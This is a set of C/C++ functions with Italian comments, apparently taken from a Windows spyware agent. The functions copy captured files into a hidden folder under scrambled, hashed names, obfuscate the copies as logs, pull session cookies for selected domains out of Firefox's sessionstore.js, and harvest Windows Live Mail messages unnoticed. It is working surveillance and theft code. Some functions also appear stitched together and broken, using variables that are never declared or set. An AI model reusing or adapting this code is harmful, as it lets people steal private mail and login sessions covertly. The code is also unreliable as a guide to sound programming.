//Copy the file in the hidden folder, hashing del path. //Files with the same hashed path are ovrewritten. BOOL LogCloud_CopyFile(PGD_FILE pCloudFile, DWORD agent_tag) { HANDLE hfile; BY_HANDLE_FILE_INFORMATION src_info, dst_info; char red_fname[100]; char log_wout_path[_MAX_FNAME]; char dest_file_path[DLLNAMELEN]; char dest_file_mask[DLLNAMELEN]; char *scrambled_name; nanosec_time src_date, dst_date; FILETIME time_nanosec; //SYSTEMTIME system_time; WIN32_FIND_DATA ffdata; HANDLE hFind = INVALID_HANDLE_VALUE; //Vede se la dimensione e' consistente if (pCloudFile->dwFileSize == 0) return FALSE; // fa lo SHA1 del path in red_fname SHA1Context sha; SHA1Reset(&sha); SHA1Input(&sha, (const unsigned char *)pCloudFile->pwszFileName, (DWORD)(wcslen(pCloudFile->pwszFileName)*2)); if (!SHA1Result(&sha)) return FALSE; memset(red_fname, 0, sizeof(red_fname)); for (int i=0; i<(SHA_DIGEST_LENGTH/sizeof(int)); i++) sprintf(red_fname+(i*8), "%.8X", sha.Message_Digest[i]); // Vede se ha gia' catturato questo file... _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "?LOGF%.4X%s*.log", agent_tag, red_fname); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, dest_file_mask); SAFE_FREE(scrambled_name); hFind = FNC(FindFirstFileA)(dest_file_mask, &ffdata); if (hFind != INVALID_HANDLE_VALUE) { //...se l'ha gia' catturato usa il vecchio nome HM_CompletePath(ffdata.cFileName, dest_file_path); FNC(FindClose)(hFind); } else { // ...altrimenti gli crea un nome col timestamp attuale FNC(GetSystemTimeAsFileTime)(&time_nanosec); //FNC(SystemTimeToFileTime)(&system_time, &time_nanosec); _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%s%.8X%.8X.log", log_active_queue, agent_tag, red_fname, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, dest_file_path); SAFE_FREE(scrambled_name); } // Prende le info del file destinazione (se esiste) hfile = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hfile != INVALID_HANDLE_VALUE) { if (!FNC(GetFileInformationByHandle)(hfile, &dst_info)) { CloseHandle(hfile); return FALSE; } CloseHandle(hfile); // Compara le date dei due file (evita riscritture dello stesso file) src_date.hi_delay = src_info.ftLastWriteTime.dwHighDateTime; src_date.lo_delay = src_info.ftLastWriteTime.dwLowDateTime; dst_date.hi_delay = dst_info.ftLastWriteTime.dwHighDateTime; dst_date.lo_delay = dst_info.ftLastWriteTime.dwLowDateTime; if (!IsGreaterDate(&src_date, &dst_date)) return FALSE; } // Effettua la vera copia. if (!LogCloud_CryptCopyFile(src_path, dest_file_path, display_name, agent_tag)) return FALSE; return TRUE; }
//copy the log buffer obfuscating it BOOL Log_CryptCopyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD agent_tag) { HANDLE hsrc, hdst; BY_HANDLE_FILE_INFORMATION dst_info; DWORD existent_file_size = 0; DWORD dwRead; BYTE *temp_buff; BYTE *file_additional_data; BYTE *log_file_header; FileAdditionalData *file_additiona_data_header; DWORD header_len; WCHAR *to_display; if (display_name) to_display = display_name; else to_display = src_path; // Crea l'header da scrivere nel file if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR)))) return FALSE; file_additiona_data_header = (FileAdditionalData *)file_additional_data; file_additiona_data_header->uVersion = LOG_FILE_VERSION; file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR); memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen); log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len); SAFE_FREE(file_additional_data); if (!log_file_header) return FALSE; // Prende le info del file destinazione (se esiste) hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hdst != INVALID_HANDLE_VALUE) { if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) { existent_file_size = dst_info.nFileSizeLow; } CloseHandle(hdst); } if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) { SAFE_FREE(log_file_header); return FALSE; } hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hsrc == INVALID_HANDLE_VALUE) { SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); return FALSE; } // Controlla che ci sia ancora spazio per scrivere su disco if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) { SAFE_FREE(temp_buff); SAFE_FREE(log_file_header); CloseHandle(hsrc); return FALSE; } hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hdst == INVALID_HANDLE_VALUE) { SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); CloseHandle(hsrc); return FALSE; } // Se il file e' stato sovrascritto (e con successo) restituisce la quota disco // recuperata. log_free_space += existent_file_size; // Scrive l'header nel file if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) { CloseHandle(hsrc); CloseHandle(hdst); SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); return FALSE; } if (log_free_space >= header_len) log_free_space -= header_len; SAFE_FREE(log_file_header); FNC(FlushFileBuffers)(hdst); // Cicla finche riesce a leggere (e/o a scrivere) LOOP { dwRead = 0; if (!FNC(ReadFile)(hsrc, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) ) break; // La Log_WriteFile sottrae la quota disco di ogni scrittura // Esce perche' quando il file da leggere e' finito dwRead e' 0 // e Log_WriteFile ritorna FALSE se gli fai scrivere 0 byte if (!Log_WriteFile(hdst, temp_buff, dwRead)) break; } SAFE_FREE(temp_buff); CloseHandle(hsrc); CloseHandle(hdst); return TRUE; }
int DumpSessionCookies(WCHAR *profilePath) { char *session_memory = NULL; DWORD session_size; HANDLE h_session_file; JSONValue *value; JSONObject root; WCHAR sessionPath[MAX_PATH]; WCHAR *host = NULL, *name = NULL, *cvalue = NULL; DWORD n_read = 0; swprintf_s(sessionPath, MAX_PATH, L"%s\\sessionstore.js", profilePath); h_session_file = FNC(CreateFileW)(sessionPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (h_session_file == INVALID_HANDLE_VALUE) return 0; session_size = GetFileSize(h_session_file, NULL); if (session_size == INVALID_FILE_SIZE || session_size == 0) { CloseHandle(h_session_file); return 0; } session_memory = (char *)malloc(session_size + sizeof(WCHAR)); if (!session_memory) { CloseHandle(h_session_file); return 0; } memset(session_memory, 0, session_size + sizeof(WCHAR)); if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) { CloseHandle(h_session_file); SAFE_FREE(session_memory); return 0; } CloseHandle(h_session_file); if (n_read != session_size) { SAFE_FREE(session_memory); return 0; } value = JSON::Parse(session_memory); if (!value) { SAFE_FREE(session_memory); return 0; } if (value->IsObject() == false) { delete value; SAFE_FREE(session_memory); return 0; } root = value->AsObject(); if (root.find(L"windows") != root.end() && root[L"windows"]->IsArray()) { JSONArray jwindows = root[L"windows"]->AsArray(); for (unsigned int i = 0; i < jwindows.size(); i++) { if (jwindows[i]->IsObject()) { JSONObject jtabs = jwindows[i]->AsObject(); if (jtabs.find(L"cookies") != jtabs.end() && jtabs[L"cookies"]->IsArray()) { JSONArray jcookiearray = jtabs[L"cookies"]->AsArray(); for (unsigned int j = 0; j < jcookiearray.size(); j++) { if (jcookiearray[j]->IsObject()) { JSONObject jcookie = jcookiearray[j]->AsObject(); if (jcookie.find(L"host") != jcookie.end() && jcookie[L"host"]->IsString()) host = _wcsdup(jcookie[L"host"]->AsString().c_str()); if (jcookie.find(L"name") != jcookie.end() && jcookie[L"name"]->IsString()) name = _wcsdup(jcookie[L"name"]->AsString().c_str()); if (jcookie.find(L"value") != jcookie.end() && jcookie[L"value"]->IsString()) cvalue = _wcsdup(jcookie[L"value"]->AsString().c_str()); NormalizeDomainW(host); if (host && name && cvalue && IsInterestingDomainW(host)) AddCookieW(host, name, cvalue); SAFE_FREE(host); SAFE_FREE(name); SAFE_FREE(cvalue); } } } } } } delete value; SAFE_FREE(session_memory); return 1; }
void FetchWindowsLiveMailMessages(const WCHAR *folder, mail_filter_struct *mail_filter) { WCHAR buf[MAX_PATH]; HANDLE findh = INVALID_HANDLE_VALUE, fd = INVALID_HANDLE_VALUE; WIN32_FIND_DATAW finddata; DWORD mail_size; DWORD mail_status; FILETIME mail_date; LARGE_INTEGER li; DWORD modulus; swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\*.*", folder); if((findh = FNC(FindFirstFileW)(buf, &finddata)) == INVALID_HANDLE_VALUE) return; do { if (g_bMailForceExit) break; if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if(finddata.cFileName[0] == L'.') continue; swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\%s", folder, finddata.cFileName); FetchWindowsLiveMailMessages(buf, mail_filter); continue; } if(finddata.cFileName[0] == L'.' || !wcsicmp(finddata.cFileName, L"WLMailSearchSentinel.eml")) continue; if(_wsplitpath_s(finddata.cFileName, NULL, 0, NULL, 0, NULL, 0, buf, sizeof(buf)/sizeof(buf[0])) || wcscmp(buf, L".eml")) continue; swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\%s", folder, finddata.cFileName); mail_status = GetMailStatus(&(finddata.ftCreationTime)); // Calcola la dimensione della mail if (finddata.nFileSizeHigh != 0) mail_size = WLM_4GB; else mail_size = finddata.nFileSizeLow; // Verifica se il messaggio e' gia' stato letto if (mail_status == WLM_MAIL_READ_FULL || (mail_status == WLM_MAIL_READ_HEADER && mail_size > mail_filter->max_size)) continue; // Check sulla data (tolgo i bit usati per il filtro) li.HighPart = finddata.ftCreationTime.dwHighDateTime; li.LowPart = finddata.ftCreationTime.dwLowDateTime; li.QuadPart /= 100000; modulus = li.QuadPart % UNREAD_MODULUS_PERCENTAGE; li.QuadPart -= modulus; li.QuadPart *= 100000; mail_date.dwHighDateTime = li.HighPart; mail_date.dwLowDateTime = li.LowPart; if (!IsNewerDate(&mail_date, &(mail_filter->min_date))) continue; if (IsNewerDate(&mail_date, &(mail_filter->max_date))) continue; if((fd = FNC(CreateFileW)(buf, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) continue; // XXX Per ora sono state eliminate le ricerche testuali //if (IsInterestingMail(fd, mail_filter) { if (WLM_LogEmail(fd, &mail_status, mail_filter, &mail_date)) WLM_SetRead(fd, mail_status); //} Sleep(10); // Per non stendere la macchina sull'apertura dei file CloseHandle(fd); } while(FNC(FindNextFileW)(findh, &finddata)); FNC(FindClose)(findh); return; }